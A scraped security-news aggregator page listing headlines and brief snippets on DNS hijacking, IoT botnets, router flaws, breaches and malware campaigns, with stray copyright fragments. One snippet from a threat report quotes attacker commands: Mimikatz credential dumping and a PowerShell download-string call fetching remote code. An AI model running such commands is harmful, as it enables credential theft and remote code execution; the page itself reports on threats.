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LeakedSource Owner Quit Ashley Madison a Month Before 2015 Hack

Krebs on Security

JULY 18, 2023

[This is Part III in a series on research conducted for a recent Hulu documentary on the 2015 hack of marital infidelity website AshleyMadison.com.] com , a service that sold access to billions of passwords and other data exposed in countless data breaches. In 2019, a Canadian company called Defiant Tech Inc. A copy of pictrace[.]com

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NCSC report warns of DNS Hijacking Attacks

Security Affairs

JULY 14, 2019

The UK’s National Cyber Security Centre (NCSC) issued a security advisory to warn organizations of DNS hijacking attacks and provided recommendations this type of attack. In response to the numerous DNS hijacking attacks the UK’s National Cyber Security Centre (NCSC) issued an alert to warn organizations of this type of attack.

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DHS issues emergency Directive to prevent DNS hijacking attacks

Security Affairs

JANUARY 23, 2019

DHS has issued a notice of a CISA emergency directive urging federal agencies of improving the security of government-managed domains (i.e.gov) to prevent DNS hijacking attacks. The notice was issued by the DHS and links the emergency directive Emergency Directive 19-01 titled “Mitigate DNS Infrastructure Tampering.”.

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Alleged Iran-linked APT groups behind global DNS Hijacking campaign

Security Affairs

JANUARY 10, 2019

Security expert uncovered a DNS hijacking campaign targeting organizations in various industries worldwide and suspects Iranian APT groups. It is interesting to note that FireEye confirmed that this campaign is different from other operations carried out by Iranian APT groups due to the use of DNS hijacking at scale.

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Some Zyxel devices can be hacked via DNS requests

Security Affairs

SEPTEMBER 4, 2019

Experts at SEC Consult discovered several security issues in various Zyxel devices that allow to hack them via unauthenticated DNS requests. The first issue is an information disclosure flaw via unauthenticated external DNS requests that affect Zyxel devices from the USG, UAG, ATP, VPN and NXC series. Pierluigi Paganini.

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Massive increase in XorDDoS Linux malware in last six months

Malwarebytes

MAY 25, 2022

Based on a case study in 2015 , Akamai strengthened the theory that the malware may be of Asian origin based on its targets. Since Linux is deployed on many IoT (Internet of Things) devices and cloud infrastructures, we are likely to see DDoS (distributed denial-of-system) attacks from botnets that have compromised such devices.

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For nearly a year, Brazilian users have been targeted with router attacks

Security Affairs

JULY 13, 2019

The campaign uncovered by Avast aimed at silently modifying the Brazilian users’ Domain Name System (DNS) settings to redirect victims to malicious websites mimicking legitimate ones. “ Malware then guesses routers’ passwords , which new research from Avast shows are often weak. ” states the analysis published by Avast.

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Meet Ika & Sal: The Bulletproof Hosting Duo from Hell

Krebs on Security

JANUARY 8, 2024

Collectively in control over millions of spam-spewing zombies, those botmasters also continuously harvested passwords and other data from infected machines. As we’ll see in a moment, Salomon is now behind bars, in part because he helped to rob dozens of small businesses in the United States using some of those same harvested passwords.

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GhostDNS malware already infected over 100K+ devices and targets 70+ different types of home routers

Security Affairs

OCTOBER 1, 2018

Attackers have already hijacked over 100,000 home routers, the malicious code allows to modify DNS settings to hijack the traffic and redirect users to phishing websites. GhostDNS reminds us of the infamous DNSChanger malware that made the headlines for its ability to change DNS settings on the infected device.

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FBI warns cyber actors abusing protocols as new DDoS attack vectors

Security Affairs

JULY 27, 2020

In December 2018, security experts from Trend Micro discovered that some machine-to-machine (M2M) protocols can be abused to attack IoT and industrial Internet of Things (IIoT) systems. According to our estimate, CoAP can reach up to 32 times (32x) amplification factor, which is roughly between the amplification power of DNS and SSDP.”.

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One of the hackers behind EtherDelta hack also involved in TalkTalk hack

Security Affairs

SEPTEMBER 21, 2019

In December 2017, the popular cryptocurrency exchange EtherDelta was hacked, attackers conducted a DNS attack that allowed to steal at least 308 ETH ($266,789 at the time of the hack) as well as a large number of tokens. Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->. Pierluigi Paganini.

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Some models of Comba and D-Link WiFi routers leak admin credentials

Security Affairs

SEPTEMBER 11, 2019

change DNS settings to hijack the traffic, perform MitM attacks). While analyzing the dual-band D-Link DSL-2875AL wireless router, the expert discovered that a file located at https : //[router ip address ] /romfile.cfg contains the login password of the device in plaintext. ” reads the security advisory. download=true.

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Russia-linked APT28 has been scanning vulnerable email servers in the last year

Security Affairs

MARCH 20, 2020

The nation-state hackers are scanning the entire internet, in search of vulnerable webmail and Microsoft Exchange Autodiscover servers that expose TCP ports 445 and 1433. ” ~ Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->. ” continues the report. ” concludes the report.

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Backdoored Webmin versions were available for download for over a year

Security Affairs

AUGUST 19, 2019

It allows users using web browsers to set up user accounts, Apache, DNS, file sharing and much more. The flaw affects the procedure for changing expired passwords, the backdoor could be exploited by a remote attacker to execute malicious commands with root privileges on the machine running vulnerable Webmin. .”

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Roboto, a new P2P botnet targets Linux Webmin servers

Security Affairs

NOVEMBER 21, 2019

It allows users using web browsers to set up user accounts, Apache, DNS, file sharing and much more. The flaw affects the procedure for changing expired passwords, the backdoor could be exploited by a remote attacker to execute malicious commands with root privileges on the machine running vulnerable Webmin. ” reads the analysis.

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Cyber CEO: The History Of Cybercrime, From 1834 To Present

Herjavec Group

AUGUST 26, 2021

1962 — Allan Scherr — MIT sets up the first computer passwords, for student privacy and time limits. Student Allan Scherr makes a punch card to trick the computer into printing off all passwords and uses them to log in as other people after his time runs out. She connects him to any phone number he requests for free.

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Security Affairs newsletter Round 230

Security Affairs

SEPTEMBER 8, 2019

Some Zyxel devices can be hacked via DNS requests. Over 600k GPS trackers left exposed online with a default password of ‘123456. Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->. Experts devised advanced SMS phishing attacks against modern Android-based phones.

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Dozens of Linksys router models leak data useful for hackers

Security Affairs

MAY 18, 2019

The issue discovered by the expert, in fact, could be used by attackers to discover if the vulnerable routers are still using default administrative passwords. Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->. Copyright (C) 2014 Media.net Advertising FZ-LLC All Rights Reserved -->. Pierluigi Paganini.

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Hacking the Twinkly IoT Christmas lights

Security Affairs

DECEMBER 24, 2018

The communications are not encrypted, however the WiFi password is sent encrypted during set up (albeit trivial to decrypt).” The experts demonstrated the remote management of the Twinkly lights carrying out the DNS rebinding attack technique. ’ ~ Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->.

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Why 83 Percent of Large Companies Are Vulnerable to This Basic Domain Hack

Adam Levin

JULY 8, 2020

A whopping 97 percent failed to use DNSSEC , a domain security protocol designed to address core vulnerabilities in the foundations of the internet itself. In 2015, Chinese hackers redirected the hijacked ShadesDaddy.com to a site selling counterfeit merchandise. A Prime Target for Hackers.

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Security Affairs newsletter Round 192 – News of the week

Security Affairs

DECEMBER 16, 2018

Hackers defaced Linux.org with DNS hijack. Which are the worst passwords for 2018? Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->. A new Mac malware combines a backdoor and a crypto-miner. Duke-Cohan sentenced to three years in prison due to false bomb threats and DDoS. WordPress version 5.0.1

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5 Common Phishing Attacks and How to Avoid Them?

Security Affairs

AUGUST 19, 2019

People fell prey for these manipulative emails and provide confidential details like passwords and bank information in their negligence. They ask you to make certain changes in your account by entering your login password or ask for some reconfirmation. Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->.

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Chalubo, a new IoT botnet emerges in the threat landscape

Security Affairs

OCTOBER 23, 2018

“Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we’re calling Chalubo.” Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->.

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DeftTorero: tactics, techniques and procedures of intrusions revealed

SecureList

OCTOBER 3, 2022

This threat actor is believed to originate from the Middle East and was publicly disclosed to the cybersecurity community as early as 2015. Display DNS resolver cache. privilеge::dеbug; Invoke-Mimikаtz -DumpCrеds; Decoded base64 command issued through webshell to invoke Mimikatz to dump passwords. cmd.exе /c sеt. Net.WebClient).DownloаdString(‘httрs://raw.githubuserconten.

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New XBash malware combines features from ransomware, cryptocurrency miners, botnets, and worms

Security Affairs

SEPTEMBER 17, 2018

Redis arbitrary file write and remote command execution , which was first disclosed in October 2015 and has no CVE number assigned. The scanner component also scans the Internet for servers that run services that have been left online exposed without a password or are using weak credentials. This is shown below in Figure 6.

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Abusing cloud services to fly under the radar

Fox IT

JANUARY 12, 2021

Credential theft and password spraying to Cobalt Strike. This adversary starts with obtaining usernames and passwords of their victim from previous breaches. These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services.

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Black Hat USA 2023 NOC: Network Assurance

Cisco Security

AUGUST 28, 2023

XDR (eXtended Detection and Response) Integrations At Black Hat USA 2023, Cisco Secure was the official Mobile Device Management, DNS (Domain Name Service) and Malware Analysis Provider. SCA detected 289 alerts including Suspected Port Abuse, Internal Port Scanner, New Unusual DNS Resolver,and Protocol Violation (Geographic).

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Analyzing a Danabot Paylaod that is targeting Italy

Security Affairs

DECEMBER 20, 2018

The two functions which keep alive the malware witihn the system are “f4” and “f5”: the “f5” function sets a system forwarding proxy on local port 1080, this way, all the communication between the victim computer and the Internet passes through the proxy, enabling the malware to intercept and modify the network traffic. Man in the Browser.

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Point-of-Sale (POS) Security Measures for 2021

eSecurity Planet

FEBRUARY 8, 2021

If the infected device isn’t connected to the Internet, the malware waits for a USB device with a specific volume name to be connected, then copies stolen data to that device. “Employees have to maintain secure access, passwords, and several other security best practices to prevent breaches into their systems,” he said.

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LimeRAT spreads in the wild

Security Affairs

APRIL 9, 2019

LimeRAT is a powerful Remote Administration Tool publicly available to any internet user, it is an open-source project freely available on Github. Stealer and CryptoStealer module to steal cryptocurrency wallets and saved passwords. Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->. C2 retrieval.

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LeakedSource Owner Quit Ashley Madison a Month Before 2015 Hack

NCSC report warns of DNS Hijacking Attacks

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DHS issues emergency Directive to prevent DNS hijacking attacks

Webinars

Alleged Iran-linked APT groups behind global DNS Hijacking campaign

Some Zyxel devices can be hacked via DNS requests

Massive increase in XorDDoS Linux malware in last six months

For nearly a year, Brazilian users have been targeted with router attacks

Meet Ika & Sal: The Bulletproof Hosting Duo from Hell

GhostDNS malware already infected over 100K+ devices and targets 70+ different types of home routers

FBI warns cyber actors abusing protocols as new DDoS attack vectors

One of the hackers behind EtherDelta hack also involved in TalkTalk hack

Some models of Comba and D-Link WiFi routers leak admin credentials

Russia-linked APT28 has been scanning vulnerable email servers in the last year

Backdoored Webmin versions were available for download for over a year

Roboto, a new P2P botnet targets Linux Webmin servers

Cyber CEO: The History Of Cybercrime, From 1834 To Present

Security Affairs newsletter Round 230

Dozens of Linksys router models leak data useful for hackers

Hacking the Twinkly IoT Christmas lights

Why 83 Percent of Large Companies Are Vulnerable to This Basic Domain Hack

Security Affairs newsletter Round 192 – News of the week

5 Common Phishing Attacks and How to Avoid Them?

Chalubo, a new IoT botnet emerges in the threat landscape

DeftTorero: tactics, techniques and procedures of intrusions revealed

New XBash malware combines features from ransomware, cryptocurrency miners, botnets, and worms

Abusing cloud services to fly under the radar

Black Hat USA 2023 NOC: Network Assurance

Analyzing a Danabot Paylaod that is targeting Italy

Point-of-Sale (POS) Security Measures for 2021

LimeRAT spreads in the wild

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